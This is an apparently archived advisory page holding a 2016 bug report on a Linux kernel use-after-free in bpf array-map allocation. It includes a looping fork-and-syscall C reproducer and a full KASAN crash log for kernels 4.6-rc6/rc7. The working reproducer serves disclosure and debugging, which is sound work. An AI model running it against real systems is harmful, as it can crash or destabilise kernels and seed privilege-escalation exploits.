Home / os / blackberry
Linux Kernel bpf related UAF
Posted on 30 November -0001
<HTML><HEAD><TITLE>Linux Kernel bpf related UAF</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>Hi, the following reproducer will cause a UAF of a previously allocated memory in bpf. You can reproduce with linux kernel master, or 4.6-rc6 4.6-rc7 and maybe other kernel versions. In the reproducer there is also a log of the UAF with KASAN of the kernel running on qemu x64 Thanks Marco Reproducer C file: ================== // Linux kernel version: 4.6-rc7 or 4.6-rc6, or linux master (tested 2016/05/12) compiled with KASAN to see the log // Compile it with gcc -o durr durr.c // Run it and it will cause the UAF endlessly see qemu logs dmesg/logs // here there is a example log /* [ 228.998319] ================================================================== [ 228.999029] BUG: KASAN: use-after-free in pcpu_extend_area_map+0x111/0x130 at addr ffff88006785d47c [ 228.999833] Read of size 4 by task durr/5570 [ 229.000219] ============================================================================= [ 229.000943] BUG kmalloc-192 (Tainted: G B ): kasan: bad access detected [ 229.001619] ----------------------------------------------------------------------------- [ 229.001619] [ 229.002485] INFO: Allocated in 0xbbbbbbbbbbbbbbbb age=18446720155036662370 cpu=0 pid=0 [ 229.003198] pcpu_mem_zalloc+0x56/0xa0 [ 229.003542] ___slab_alloc.constprop.60+0x3f9/0x440 [ 229.003995] __slab_alloc.constprop.59+0x20/0x40 [ 229.004426] __kmalloc+0x20b/0x240 [ 229.004749] pcpu_mem_zalloc+0x56/0xa0 [ 229.005102] pcpu_create_chunk+0x23/0x490 [ 229.005478] pcpu_alloc+0xa42/0xbc0 [ 229.005806] __alloc_percpu_gfp+0x2c/0x40 [ 229.006179] array_map_alloc+0x52b/0x6e0 [ 229.006548] SyS_bpf+0x6ee/0x1800 [ 229.006868] entry_SYSCALL_64_fastpath+0x1a/0xa4 [ 229.007302] INFO: Freed in 0xffffba5f age=18446738129474796130 cpu=0 pid=0 [ 229.007934] kvfree+0x3b/0x60 [ 229.008220] __slab_free+0x1df/0x2e0 [ 229.008561] kfree+0x176/0x190 [ 229.008847] kvfree+0x3b/0x60 [ 229.009127] pcpu_balance_workfn+0x755/0xe10 [ 229.009527] process_one_work+0x882/0x12d0 [ 229.009905] worker_thread+0xe4/0x1300 [ 229.010251] kthread+0x1fb/0x280 [ 229.010553] ret_from_fork+0x22/0x40 [ 229.010891] INFO: Slab 0xffffea00019e1700 objects=15 used=9 fp=0xffff88006785d048 flags=0x4000000000004080 [ 229.011771] INFO: Object 0xffff88006785d450 @offset=5200 fp=0xbbbbbbbbbbbbbbbb [ 229.011771] [ 229.012562] Redzone ffff88006785d448: 00 00 00 00 00 00 00 00 ........ [ 229.013356] Object ffff88006785d450: bb bb bb bb bb bb bb bb 00 00 00 00 00 00 00 00 ................ [ 229.014194] Object ffff88006785d460: 58 d4 3c 6b 00 88 ff ff 00 00 20 00 00 00 20 00 X.<k...... ... . [ 229.015033] Object ffff88006785d470: 00 00 e0 fa ff e8 ff ff 01 00 00 00 00 01 00 00 ................ [ 229.015869] Object ffff88006785d480: 08 80 87 65 00 88 ff ff e0 ff ff ff 0f 00 00 00 ...e............ [ 229.016702] Object ffff88006785d490: 90 d4 85 67 00 88 ff ff 90 d4 85 67 00 88 ff ff ...g.......g.... [ 229.017534] Object ffff88006785d4a0: e0 8a 49 81 ff ff ff ff a8 52 92 67 00 88 ff ff ..I......R.g.... [ 229.018368] Object ffff88006785d4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [ 229.019215] Object ffff88006785d4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [ 229.020056] Object ffff88006785d4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [ 229.020901] Object ffff88006785d4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [ 229.021745] Object ffff88006785d4f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [ 229.022587] Object ffff88006785d500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [ 229.023431] Redzone ffff88006785d510: 00 00 00 00 00 00 00 00 ........ [ 229.024219] Padding ffff88006785d648: 61 ba ff ff 00 00 00 00 a....... [ 229.025029] CPU: 0 PID: 5570 Comm: durr Tainted: G B 4.6.0-rc6 #6 [ 229.025681] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 229.026532] 0000000000000000 00000000d3335927 ffff880065e1fb08ffffffff81b25fb3 [ 229.027250] ffff88006785c000 ffff88006785d450 ffff88006cc02a40ffffea00019e1700 [ 229.027968] ffff880065e1fb38 ffffffff815282c5 ffff88006cc02a40ffffea00019e1700 [ 229.028682] Call Trace: [ 229.028917] [<ffffffff81b25fb3>] dump_stack+0x83/0xb0 [ 229.029389] [<ffffffff815282c5>] print_trailer+0x115/0x1a0 [ 229.029899] [<ffffffff8152d144>] object_err+0x34/0x40 [ 229.030370] [<ffffffff8152f2e6>] kasan_report_error+0x226/0x550 [ 229.030926] [<ffffffff8152e955>] ? kasan_unpoison_shadow+0x35/0x50 [ 229.031498] [<ffffffff8152e9ce>] ? kasan_kmalloc+0x5e/0x70 [ 229.032008] [<ffffffff8152f751>] __asan_report_load4_noabort+0x61/0x70 [ 229.032612] [<ffffffff81496bf1>] ? pcpu_extend_area_map+0x111/0x130 [ 229.033192] [<ffffffff81496bf1>] pcpu_extend_area_map+0x111/0x130 [ 229.033755] [<ffffffff81496f77>] ? pcpu_create_chunk+0x367/0x490 [ 229.034314] [<ffffffff8149734c>] pcpu_alloc+0x2ac/0xbc0 [ 229.034804] [<ffffffff814970a0>] ? pcpu_create_chunk+0x490/0x490 [ 229.035358] [<ffffffff8152e955>] ? kasan_unpoison_shadow+0x35/0x50 [ 229.035929] [<ffffffff81499879>] ? kmalloc_order+0x59/0x70 [ 229.036438] [<ffffffff814998b4>] ? kmalloc_order_trace+0x24/0xa0 [ 229.036994] [<ffffffff8152ad9c>] ? __kmalloc+0x1ec/0x240 [ 229.037486] [<ffffffff81497c8c>] __alloc_percpu_gfp+0x2c/0x40 [ 229.038018] [<ffffffff813e832b>] array_map_alloc+0x52b/0x6e0 [ 229.038543] [<ffffffff813d65ce>] SyS_bpf+0x6ee/0x1800 [ 229.039017] [<ffffffff810dc37d>] ? __do_page_fault+0x1cd/0xb50 [ 229.039558] [<ffffffff813d5ee0>] ? bpf_prog_new_fd+0x30/0x30 [ 229.040083] [<ffffffff810dcda9>] ? trace_do_page_fault+0x79/0x240 [ 229.040649] [<ffffffff82ba1932>] entry_SYSCALL_64_fastpath+0x1a/0xa4 [ 229.041236] Memory state around the buggy address: [ 229.041678] ffff88006785d300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 229.042331] ffff88006785d380: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 229.042992] >ffff88006785d400: fc fc fc fc fc fc fc fc fc fc fc fb fb fb fb fb [ 229.043642] ^ [ 229.044286] ffff88006785d480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 229.044938] ffff88006785d500: fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc fc [ 229.045589] ================================================================== */ #include <stdio.h> #include <unistd.h> #include <sys/syscall.h> #include <string.h> #include <stdint.h> #include <pthread.h> #ifndef SYS_mmap #define SYS_mmap 9 #endif #ifndef SYS_bpf #define SYS_bpf 321 #endif long r[6]; int main(int argc, char **argv) { printf("--beginning of program "); while(1) { pid_t pid = fork(); if (pid == 0) { // child process memset(r, -1, sizeof(r)); r[0] = syscall(SYS_mmap, 0x20000000ul, 0xf000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul); *(uint32_t*)0x20006eea = (uint32_t)0x6; *(uint32_t*)0x20006eee = (uint32_t)0x4; *(uint32_t*)0x20006ef2 = (uint32_t)0x54d1; *(uint32_t*)0x20006ef6 = (uint32_t)0xc93; r[5] = syscall(SYS_bpf, 0x0ul, 0x20006eeaul, 0x10ul, 0, 0, 0); return 0; } else if (pid > 0) { // parent process memset(r, -1, sizeof(r)); r[0] = syscall(SYS_mmap, 0x20000000ul, 0xf000ul, 0x3ul, 0x32ul,0xfffffffffffffffful, 0x0ul); *(uint32_t*)0x20006eea = (uint32_t)0x6; *(uint32_t*)0x20006eee = (uint32_t)0x4; *(uint32_t*)0x20006ef2 = (uint32_t)0x54d1; *(uint32_t*)0x20006ef6 = (uint32_t)0xc93; r[5] = syscall(SYS_bpf, 0x0ul, 0x20006eeaul, 0x10ul, 0, 0, 0); int returnStatus; waitpid(pid, &returnStatus, 0); printf("collected child "); } else { // fork failed printf("fork() failed! "); return 1; } } printf("--end of program-- "); return 0; } ===================== </BODY></HTML>